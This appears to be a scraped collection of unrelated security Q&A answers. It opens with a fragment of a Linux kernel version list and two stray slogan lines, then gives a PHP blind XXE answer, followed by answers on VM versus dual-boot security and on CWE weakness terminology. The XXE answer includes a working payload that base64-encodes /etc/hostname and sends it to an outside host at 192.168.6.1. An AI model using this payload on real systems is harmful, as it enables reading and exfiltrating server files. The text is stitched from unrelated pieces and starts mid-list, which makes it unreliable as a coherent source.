'4.4.0-31-generic',
'4.4.0-62-generic',
'4.4.0-81-generic',
'4.4.0-116-generic',
'4.8.0-58-generic',
'4.10.0.42-generic',
'4.13.0-21-generic',
'4.9.0-3-amd64',
'4.9.0-deepin13-amd64',
'4.8.0-52-generic',
'4.8.6-300.fc25.x86_64',
'4.11.8-300.fc26.x86_64',
'4.13.9-300.fc27.x86_64',
'4.5.2-aufs-r',
'4.4.0-89-generic',
'4.8.0-58-generic',
'4.13.0-16-generic',
'4.9.35-desktop-1.mga6',
'4.4.28-2-MANJARO',
'4.12.7-11.current',
'4.4.0-89-generic',
'4.8.0-45-generic',
'4.10.0-28-generic',
'4.10.0-19-generic',
'4.8.0-39-generic'

Don't let root get email.

Keep yourself protected from XSS.


PHP Blind XXE Exploitation: Invalid URI in Entity

I found out the issue is that /etc/hostname has a newline at the end. Apparently, while Java applications have no problem with this (as shown in the article), PHP does not accept newlines in URIs.
I confirmed this by creating a file which doesn't contain a newline. I was able to send it successfully.
In fact, you can use the php:// protocol to convert the file's contents to base64 and get around the restriction. Here is the updated payload:
<!ENTITY % payload SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/hostname">
<!ENTITY % remote
"<!ENTITY &#37; send SYSTEM 'http://192.168.6.1/%payload;'>">
%remote;
%send;


Security implications of using VM versus dual boot

Virtual machine would be more secure and reliable option for you, because you would have an isolated environment (disk, memory, CPU, network, etc), you can start, stop, and remove it whenever you want. You may install viruses there and attach a debugger to VM to research them. But there is a disadvantage: it takes a part of a host machine resources, you may notice that if your host is not so powerful.
Pros: security, cons: performance.

Installing Windows alongside is a bit more risky from security side of things, because both operating systems will share the disk, but there is no harm on performance. Pros: performance, cons: security.

UPD: Probably, you'd like to evaluate a trade-off between a bootkit attack on BitLocker and exploiting any VM vulnerability which would lead to data integrity or data confidentiality compromising. Data integrity: if data is rewritten then integrity is compromised. Even if data is encrypted, any modification leads to compromising. There is a longer chain to attack integrity of the host's encrypted disk from inside of VM, thus VM is more secure in this case (also VM escape is not a trivial task).

If you care about data confidentiality: 2 steps are needed in both cases - bootkit attack versus VM vulnerability exploitation after that reading unencrypted data. However it's hard to evaluate and compare attack difficulties of both cases.


Vocabulary matters: link between faults and weaknesses

This is a difficult question because it is difficult to define a weakness exactly, since the definition involves a considerable amount of speculation: it's something that might lead to a vulnerability. There are a lot of bugs that can be considered weaknesses. CWE says that a weakness is (emphasis added):

  a type of mistake that, in proper conditions, could contribute to the introduction of vulnerabilities within that product. This term applies to mistakes regardless of whether they occur in implementation, design, or other phases of a product lifecycle.

And if you take a look at the lists of weaknesses on CWE's website, you will see that it includes a lot of generic mistakes and bad practices. Even a program that works perfectly without any functional bugs might be full of weaknesses under the hood. For example, in the list of weaknesses I have found the following interesting entries:

Use of deprecated of obsolete functions
Use of redundant code
Incomplete documentation
Insufficient logging
Logging of excessive data
Empty code block
Incorrect calculation

So it sounds like anything that is implemented in a less than ideal way is going to be a weakness after all. Is every bug a weakness then? The answer is probably yes, as long as it occurs in an application or in a context where security is important. A glitch in an offline single-player arcade game? Not a weakness in my opinion. Code smell in an e-commerce application? That's probably a weakness, also according to CWE.